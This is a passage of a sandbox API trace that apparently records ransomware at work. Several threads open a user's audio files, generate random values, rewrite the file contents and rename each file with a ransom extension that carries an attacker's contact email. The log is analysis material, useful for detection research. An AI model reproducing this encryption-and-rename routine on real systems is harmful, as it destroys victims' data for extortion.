dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x117c [0059.489] GetFileSizeEx (in: hFile=0x117c, lpFileSize=0x724fcbc | out: lpFileSize=0x724fcbc*=31214) returned 1 [0059.489] SetFilePointerEx (in: hFile=0x117c, liDistanceToMove=0x79ea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.489] ReadFile (in: hFile=0x117c, lpBuffer=0x724fc40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x724fc3c, lpOverlapped=0x0 | out: lpBuffer=0x724fc40*, lpNumberOfBytesRead=0x724fc3c*=0x4, lpOverlapped=0x0) returned 1 [0059.490] SetFilePointerEx (in: hFile=0x117c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.490] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf5f0 [0059.490] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf668 [0059.490] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf690 [0059.490] NtQuerySystemTime (in: CurrentTime=0x724fc1c | out: CurrentTime=0x724fc1c*=132174898234752000) returned 0x0 [0059.490] RtlRandomEx (in: Seed=0x724fc28 | out: Seed=0x724fc28) returned 0x1bec6425 [0059.490] RtlRandomEx (in: Seed=0x724fc28 | out: Seed=0x724fc28) returned 0x2d6a8d43 [0059.490] RtlRandomEx (in: Seed=0x724fc28 | out: Seed=0x724fc28) returned 0x384f7c34 [0059.490] RtlRandomEx (in: Seed=0x724fc28 | out: Seed=0x724fc28) returned 0x60befae7 [0059.490] RtlRandomEx (in: Seed=0x724fc28 | out: Seed=0x724fc28) returned 0x2580fd83 [0059.490] RtlRandomEx (in: Seed=0x724fc28 | out: Seed=0x724fc28) returned 0x16b3fcab [0059.490] RtlRandomEx (in: Seed=0x724fc28 | out: Seed=0x724fc28) returned 0x57dd4b56 [0059.490] RtlRandomEx (in: Seed=0x724fc28 | out: Seed=0x724fc28) returned 0x2dc70050 [0059.490] RtlRandomEx (in: Seed=0x724fc28 | out: Seed=0x724fc28) returned 0x360270f2 [0059.490] RtlRandomEx (in: Seed=0x724fc28 | out: Seed=0x724fc28) returned 0x56a36938 [0059.490] RtlRandomEx (in: Seed=0x724fc28 | out: Seed=0x724fc28) returned 0x570e0caf [0059.490] RtlRandomEx (in: Seed=0x724fc28 | out: Seed=0x724fc28) returned 0x26a3627b [0059.490] RtlRandomEx (in: Seed=0x724fc28 | out: Seed=0x724fc28) returned 0x45e42f13 [0059.490] RtlRandomEx (in: Seed=0x724fc28 | out: Seed=0x724fc28) returned 0x79673863 [0059.490] RtlRandomEx (in: Seed=0x724fc28 | out: Seed=0x724fc28) returned 0x7ac83c6b [0059.490] RtlRandomEx (in: Seed=0x724fc28 | out: Seed=0x724fc28) returned 0x4531f99f [0059.490] RtlRandomEx (in: Seed=0x724fc28 | out: Seed=0x724fc28) returned 0x13a5ea82 [0059.490] RtlRandomEx (in: Seed=0x724fc28 | out: Seed=0x724fc28) returned 0x5446244c [0059.490] RtlRandomEx (in: Seed=0x724fc28 | out: Seed=0x724fc28) returned 0x27e940c1 [0059.490] RtlRandomEx (in: Seed=0x724fc28 | out: Seed=0x724fc28) returned 0x351007f6 [0059.490] RtlRandomEx (in: Seed=0x724fc28 | out: Seed=0x724fc28) returned 0x6276c84a [0059.490] RtlRandomEx (in: Seed=0x724fc28 | out: Seed=0x724fc28) returned 0x261134ed [0059.490] RtlRandomEx (in: Seed=0x724fc28 | out: Seed=0x724fc28) returned 0xb18074f [0059.490] RtlRandomEx (in: Seed=0x724fc28 | out: Seed=0x724fc28) returned 0x635532e3 [0059.490] RtlRandomEx (in: Seed=0x724fc28 | out: Seed=0x724fc28) returned 0x1ea3614e [0059.491] RtlRandomEx (in: Seed=0x724fc28 | out: Seed=0x724fc28) returned 0x458aa6c0 [0059.491] RtlRandomEx (in: Seed=0x724fc28 | out: Seed=0x724fc28) returned 0x3b29e2d6 [0059.491] RtlRandomEx (in: Seed=0x724fc28 | out: Seed=0x724fc28) returned 0x48b427d3 [0059.491] RtlRandomEx (in: Seed=0x724fc28 | out: Seed=0x724fc28) returned 0x7740de26 [0059.491] RtlRandomEx (in: Seed=0x724fc28 | out: Seed=0x724fc28) returned 0x1a8a19a7 [0059.491] RtlRandomEx (in: Seed=0x724fc28 | out: Seed=0x724fc28) returned 0x6fa3185e [0059.491] RtlRandomEx (in: Seed=0x724fc28 | out: Seed=0x724fc28) returned 0x26d12fb7 [0059.503] ReadFile (in: hFile=0x117c, lpBuffer=0x9673680, nNumberOfBytesToRead=0x79ee, lpNumberOfBytesRead=0x724fc18, lpOverlapped=0x0 | out: lpBuffer=0x9673680*, lpNumberOfBytesRead=0x724fc18*=0x79ee, lpOverlapped=0x0) returned 1 [0059.504] SetFilePointerEx (in: hFile=0x117c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.504] WriteFile (in: hFile=0x117c, lpBuffer=0x967fe88*, nNumberOfBytesToWrite=0x79ee, lpNumberOfBytesWritten=0x724fc14, lpOverlapped=0x0 | out: lpBuffer=0x967fe88*, lpNumberOfBytesWritten=0x724fc14*=0x79ee, lpOverlapped=0x0) returned 1 [0062.496] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0790 [0062.496] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0768 [0062.496] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0768) returned 1 [0062.496] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x967fe88) returned 1 [0062.496] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9673680) returned 1 [0062.496] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437850) returned 1 [0062.496] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44baa8) returned 1 [0062.496] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2f) returned 0x44afe8 [0062.497] SetFilePointerEx (in: hFile=0x117c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.497] WriteFile (in: hFile=0x117c, lpBuffer=0x5efe158*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0x724fc7c, lpOverlapped=0x0 | out: lpBuffer=0x5efe158*, lpNumberOfBytesWritten=0x724fc7c*=0x113, lpOverlapped=0x0) returned 1 [0062.838] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5efe158) returned 1 [0062.838] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44b020) returned 1 [0062.838] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0768) returned 1 [0062.838] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44afe8) returned 1 [0062.838] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0790) returned 1 [0062.838] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf668) returned 1 [0062.838] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf6b8) returned 1 [0062.838] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf6e0) returned 1 [0062.838] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xde) returned 0x12cf95f8 [0062.838] wcscpy (in: _Dest=0x12cf95f8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\hxaWqwq TcnsT.wav" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\hxaWqwq TcnsT.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\hxaWqwq TcnsT.wav" [0062.838] wcscat (in: _Dest=0x12cf95f8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\hxaWqwq TcnsT.wav.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\hxaWqwq TcnsT.wav.mailto[2Hamlampampom@cock.li].cd46d" [0062.838] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\hxaWqwq TcnsT.wav.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x724fc34, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\hxaWqwq TcnsT.wav.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0062.839] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xf4) returned 0x41c0b8 [0062.979] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x41c0b8) returned 1 [0062.979] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e20880) returned 1 [0062.979] NtQueryInformationFile (in: FileHandle=0x117c, IoStatusBlock=0x724fc40, FileInformation=0x724fc18, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x724fc40, FileInformation=0x724fc18) returned 0x0 [0062.979] NtSetInformationFile (FileHandle=0x117c, IoStatusBlock=0x724fc40, FileInformation=0x724fc18, Length=0x28, FileInformationClass=0x4) returned 0x0 [0062.980] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cf95f8) returned 1 [0062.980] FlushFileBuffers (hFile=0x117c) returned 1 [0066.205] CloseHandle (hObject=0x117c) Thread: id = 1127 os_tid = 0xb08 [0059.504] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\Pile5RkUpQ9u6NQNq.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\6sug7z_-\\pile5rkupq9u6nqnq.wav")) returned 0x20 [0059.505] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\Pile5RkUpQ9u6NQNq.wav", dwFileAttributes=0x20) returned 1 [0059.505] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\Pile5RkUpQ9u6NQNq.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\6sug7z_-\\pile5rkupq9u6nqnq.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1180 [0059.505] GetFileSizeEx (in: hFile=0x1180, lpFileSize=0x7e9f8fc | out: lpFileSize=0x7e9f8fc*=33859) returned 1 [0059.505] SetFilePointerEx (in: hFile=0x1180, liDistanceToMove=0x843f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.505] ReadFile (in: hFile=0x1180, lpBuffer=0x7e9f880, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x7e9f87c, lpOverlapped=0x0 | out: lpBuffer=0x7e9f880*, lpNumberOfBytesRead=0x7e9f87c*=0x4, lpOverlapped=0x0) returned 1 [0059.506] SetFilePointerEx (in: hFile=0x1180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.506] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf5f0 [0059.506] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf690 [0059.506] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf708 [0059.506] NtQuerySystemTime (in: CurrentTime=0x7e9f85c | out: CurrentTime=0x7e9f85c*=132174898234908000) returned 0x0 [0059.506] RtlRandomEx (in: Seed=0x7e9f868 | out: Seed=0x7e9f868) returned 0x4499365a [0059.506] RtlRandomEx (in: Seed=0x7e9f868 | out: Seed=0x7e9f868) returned 0x643952fc [0059.506] RtlRandomEx (in: Seed=0x7e9f868 | out: Seed=0x7e9f868) returned 0x20c067fa [0059.506] RtlRandomEx (in: Seed=0x7e9f868 | out: Seed=0x7e9f868) returned 0x656c7c9e [0059.506] RtlRandomEx (in: Seed=0x7e9f868 | out: Seed=0x7e9f868) returned 0x49fb88fd [0059.506] RtlRandomEx (in: Seed=0x7e9f868 | out: Seed=0x7e9f868) returned 0x3eae3e8b [0059.506] RtlRandomEx (in: Seed=0x7e9f868 | out: Seed=0x7e9f868) returned 0x34135db2 [0059.506] RtlRandomEx (in: Seed=0x7e9f868 | out: Seed=0x7e9f868) returned 0xd1da078 [0059.506] RtlRandomEx (in: Seed=0x7e9f868 | out: Seed=0x7e9f868) returned 0x2f735448 [0059.506] RtlRandomEx (in: Seed=0x7e9f868 | out: Seed=0x7e9f868) returned 0x2f3e8670 [0059.506] RtlRandomEx (in: Seed=0x7e9f868 | out: Seed=0x7e9f868) returned 0x14b844d8 [0059.506] RtlRandomEx (in: Seed=0x7e9f868 | out: Seed=0x7e9f868) returned 0x5fef9a8 [0059.506] RtlRandomEx (in: Seed=0x7e9f868 | out: Seed=0x7e9f868) returned 0x7ca04bbf [0059.506] RtlRandomEx (in: Seed=0x7e9f868 | out: Seed=0x7e9f868) returned 0x4cf224f3 [0059.506] RtlRandomEx (in: Seed=0x7e9f868 | out: Seed=0x7e9f868) returned 0x4351ea20 [0059.506] RtlRandomEx (in: Seed=0x7e9f868 | out: Seed=0x7e9f868) returned 0x7cf41c51 [0059.507] RtlRandomEx (in: Seed=0x7e9f868 | out: Seed=0x7e9f868) returned 0x588d0be9 [0059.507] RtlRandomEx (in: Seed=0x7e9f868 | out: Seed=0x7e9f868) returned 0x181bd025 [0059.507] RtlRandomEx (in: Seed=0x7e9f868 | out: Seed=0x7e9f868) returned 0x28105290 [0059.507] RtlRandomEx (in: Seed=0x7e9f868 | out: Seed=0x7e9f868) returned 0x2b073b51 [0059.507] RtlRandomEx (in: Seed=0x7e9f868 | out: Seed=0x7e9f868) returned 0x78b6d452 [0059.507] RtlRandomEx (in: Seed=0x7e9f868 | out: Seed=0x7e9f868) returned 0x431fcbfa [0059.507] RtlRandomEx (in: Seed=0x7e9f868 | out: Seed=0x7e9f868) returned 0x322ebb4d [0059.507] RtlRandomEx (in: Seed=0x7e9f868 | out: Seed=0x7e9f868) returned 0x296a23ed [0059.507] RtlRandomEx (in: Seed=0x7e9f868 | out: Seed=0x7e9f868) returned 0x68450221 [0059.507] RtlRandomEx (in: Seed=0x7e9f868 | out: Seed=0x7e9f868) returned 0x2bc3bbae [0059.507] RtlRandomEx (in: Seed=0x7e9f868 | out: Seed=0x7e9f868) returned 0x11bb69c4 [0059.507] RtlRandomEx (in: Seed=0x7e9f868 | out: Seed=0x7e9f868) returned 0x1056ba7e [0059.507] RtlRandomEx (in: Seed=0x7e9f868 | out: Seed=0x7e9f868) returned 0x2c99d7f9 [0059.507] RtlRandomEx (in: Seed=0x7e9f868 | out: Seed=0x7e9f868) returned 0xa694414 [0059.507] RtlRandomEx (in: Seed=0x7e9f868 | out: Seed=0x7e9f868) returned 0x56a6d533 [0059.507] RtlRandomEx (in: Seed=0x7e9f868 | out: Seed=0x7e9f868) returned 0x3278b02b [0059.520] ReadFile (in: hFile=0x1180, lpBuffer=0x95d0e18, nNumberOfBytesToRead=0x8443, lpNumberOfBytesRead=0x7e9f858, lpOverlapped=0x0 | out: lpBuffer=0x95d0e18*, lpNumberOfBytesRead=0x7e9f858*=0x8443, lpOverlapped=0x0) returned 1 [0059.521] SetFilePointerEx (in: hFile=0x1180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.521] WriteFile (in: hFile=0x1180, lpBuffer=0x95dd620*, nNumberOfBytesToWrite=0x8443, lpNumberOfBytesWritten=0x7e9f854, lpOverlapped=0x0 | out: lpBuffer=0x95dd620*, lpNumberOfBytesWritten=0x7e9f854*=0x8443, lpOverlapped=0x0) returned 1 [0062.498] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0718 [0062.498] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0150 [0062.498] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0150) returned 1 [0062.498] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95dd620) returned 1 [0062.498] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0e18) returned 1 [0062.498] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437490) returned 1 [0062.499] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c1b0) returned 1 [0062.499] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x37) returned 0x4a64a0 [0062.499] SetFilePointerEx (in: hFile=0x1180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.499] WriteFile (in: hFile=0x1180, lpBuffer=0x44b798*, nNumberOfBytesToWrite=0x11b, lpNumberOfBytesWritten=0x7e9f8bc, lpOverlapped=0x0 | out: lpBuffer=0x44b798*, lpNumberOfBytesWritten=0x7e9f8bc*=0x11b, lpOverlapped=0x0) returned 1 [0062.839] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44b798) returned 1 [0063.377] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a64e0) returned 1 [0063.377] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0150) returned 1 [0063.377] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a64a0) returned 1 [0063.378] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0718) returned 1 [0063.378] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf690) returned 1 [0063.378] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf730) returned 1 [0063.378] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf758) returned 1 [0063.378] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe6) returned 0x97ad090 [0063.378] wcscpy (in: _Dest=0x97ad090, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\Pile5RkUpQ9u6NQNq.wav" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\Pile5RkUpQ9u6NQNq.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\Pile5RkUpQ9u6NQNq.wav" [0063.378] wcscat (in: _Dest=0x97ad090, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\Pile5RkUpQ9u6NQNq.wav.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\Pile5RkUpQ9u6NQNq.wav.mailto[2Hamlampampom@cock.li].cd46d" [0063.378] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\Pile5RkUpQ9u6NQNq.wav.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x7e9f874, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\Pile5RkUpQ9u6NQNq.wav.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.378] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xfc) returned 0x12f4b2d0 [0063.379] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4b2d0) returned 1 [0063.379] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48dfe0) returned 1 [0063.379] NtQueryInformationFile (in: FileHandle=0x1180, IoStatusBlock=0x7e9f880, FileInformation=0x7e9f858, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x7e9f880, FileInformation=0x7e9f858) returned 0x0 [0063.379] NtSetInformationFile (FileHandle=0x1180, IoStatusBlock=0x7e9f880, FileInformation=0x7e9f858, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.380] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ad090) returned 1 [0063.380] FlushFileBuffers (hFile=0x1180) returned 1 [0066.222] CloseHandle (hObject=0x1180) Thread: id = 1128 os_tid = 0xae0 [0059.522] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\SEK1.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\6sug7z_-\\sek1.m4a")) returned 0x20 [0059.522] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\SEK1.m4a", dwFileAttributes=0x20) returned 1 [0059.522] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\SEK1.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\6sug7z_-\\sek1.m4a"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1184 [0059.522] GetFileSizeEx (in: hFile=0x1184, lpFileSize=0x9adfb5c | out: lpFileSize=0x9adfb5c*=47382) returned 1 [0059.522] SetFilePointerEx (in: hFile=0x1184, liDistanceToMove=0xb912, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.522] ReadFile (in: hFile=0x1184, lpBuffer=0x9adfae0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x9adfadc, lpOverlapped=0x0 | out: lpBuffer=0x9adfae0*, lpNumberOfBytesRead=0x9adfadc*=0x4, lpOverlapped=0x0) returned 1 [0059.523] SetFilePointerEx (in: hFile=0x1184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.524] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf5f0 [0059.524] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf708 [0059.524] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf780 [0059.524] NtQuerySystemTime (in: CurrentTime=0x9adfabc | out: CurrentTime=0x9adfabc*=132174898235064000) returned 0x0 [0059.524] RtlRandomEx (in: Seed=0x9adfac8 | out: Seed=0x9adfac8) returned 0x65e285b9 [0059.524] RtlRandomEx (in: Seed=0x9adfac8 | out: Seed=0x9adfac8) returned 0x110efdef [0059.524] RtlRandomEx (in: Seed=0x9adfac8 | out: Seed=0x9adfac8) returned 0x4026bc0 [0059.524] RtlRandomEx (in: Seed=0x9adfac8 | out: Seed=0x9adfac8) returned 0x4764bcf5 [0059.524] RtlRandomEx (in: Seed=0x9adfac8 | out: Seed=0x9adfac8) returned 0x17bf99f5 [0059.524] RtlRandomEx (in: Seed=0x9adfac8 | out: Seed=0x9adfac8) returned 0x141271f3 [0059.524] RtlRandomEx (in: Seed=0x9adfac8 | out: Seed=0x9adfac8) returned 0x72bdbccc [0059.524] RtlRandomEx (in: Seed=0x9adfac8 | out: Seed=0x9adfac8) returned 0x520be529 [0059.524] RtlRandomEx (in: Seed=0x9adfac8 | out: Seed=0x9adfac8) returned 0x2a1586ed [0059.524] RtlRandomEx (in: Seed=0x9adfac8 | out: Seed=0x9adfac8) returned 0x51ad4e03 [0059.524] RtlRandomEx (in: Seed=0x9adfac8 | out: Seed=0x9adfac8) returned 0x4c505def [0059.524] RtlRandomEx (in: Seed=0x9adfac8 | out: Seed=0x9adfac8) returned 0x33ac5526 [0059.524] RtlRandomEx (in: Seed=0x9adfac8 | out: Seed=0x9adfac8) returned 0x13863b94 [0059.524] RtlRandomEx (in: Seed=0x9adfac8 | out: Seed=0x9adfac8) returned 0x48372eb3 [0059.524] RtlRandomEx (in: Seed=0x9adfac8 | out: Seed=0x9adfac8) returned 0x6fdc69af [0059.524] RtlRandomEx (in: Seed=0x9adfac8 | out: Seed=0x9adfac8) returned 0x4be6752a [0059.524] RtlRandomEx (in: Seed=0x9adfac8 | out: Seed=0x9adfac8) returned 0x3482b10d [0059.524] RtlRandomEx (in: Seed=0x9adfac8 | out: Seed=0x9adfac8) returned 0x3adfe2f3 [0059.524] RtlRandomEx (in: Seed=0x9adfac8 | out: Seed=0x9adfac8) returned 0xb022773 [0059.524] RtlRandomEx (in: Seed=0x9adfac8 | out: Seed=0x9adfac8) returned 0x8ca8043 [0059.524] RtlRandomEx (in: Seed=0x9adfac8 | out: Seed=0x9adfac8) returned 0x65d71f3e [0059.524] RtlRandomEx (in: Seed=0x9adfac8 | out: Seed=0x9adfac8) returned 0x1a2e92ae [0059.524] RtlRandomEx (in: Seed=0x9adfac8 | out: Seed=0x9adfac8) returned 0x561298b3 [0059.524] RtlRandomEx (in: Seed=0x9adfac8 | out: Seed=0x9adfac8) returned 0x25ea5f09 [0059.524] RtlRandomEx (in: Seed=0x9adfac8 | out: Seed=0x9adfac8) returned 0x22809166 [0059.525] RtlRandomEx (in: Seed=0x9adfac8 | out: Seed=0x9adfac8) returned 0x2aa5744f [0059.525] RtlRandomEx (in: Seed=0x9adfac8 | out: Seed=0x9adfac8) returned 0x5e5f3c99 [0059.525] RtlRandomEx (in: Seed=0x9adfac8 | out: Seed=0x9adfac8) returned 0x572ec316 [0059.525] RtlRandomEx (in: Seed=0x9adfac8 | out: Seed=0x9adfac8) returned 0x67583bba [0059.525] RtlRandomEx (in: Seed=0x9adfac8 | out: Seed=0x9adfac8) returned 0x46152955 [0059.525] RtlRandomEx (in: Seed=0x9adfac8 | out: Seed=0x9adfac8) returned 0x4b222a33 [0059.525] RtlRandomEx (in: Seed=0x9adfac8 | out: Seed=0x9adfac8) returned 0x16f966a3 [0059.538] ReadFile (in: hFile=0x1184, lpBuffer=0x19608910, nNumberOfBytesToRead=0xb916, lpNumberOfBytesRead=0x9adfab8, lpOverlapped=0x0 | out: lpBuffer=0x19608910*, lpNumberOfBytesRead=0x9adfab8*=0xb916, lpOverlapped=0x0) returned 1 [0059.540] SetFilePointerEx (in: hFile=0x1184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.540] WriteFile (in: hFile=0x1184, lpBuffer=0x19615118*, nNumberOfBytesToWrite=0xb916, lpNumberOfBytesWritten=0x9adfab4, lpOverlapped=0x0 | out: lpBuffer=0x19615118*, lpNumberOfBytesWritten=0x9adfab4*=0xb916, lpOverlapped=0x0) returned 1 [0062.501] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0100 [0062.501] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0218 [0062.501] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0218) returned 1 [0062.501] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19615118) returned 1 [0062.501] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19608910) returned 1 [0062.501] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437a30) returned 1 [0062.501] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bf70) returned 1 [0062.501] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, 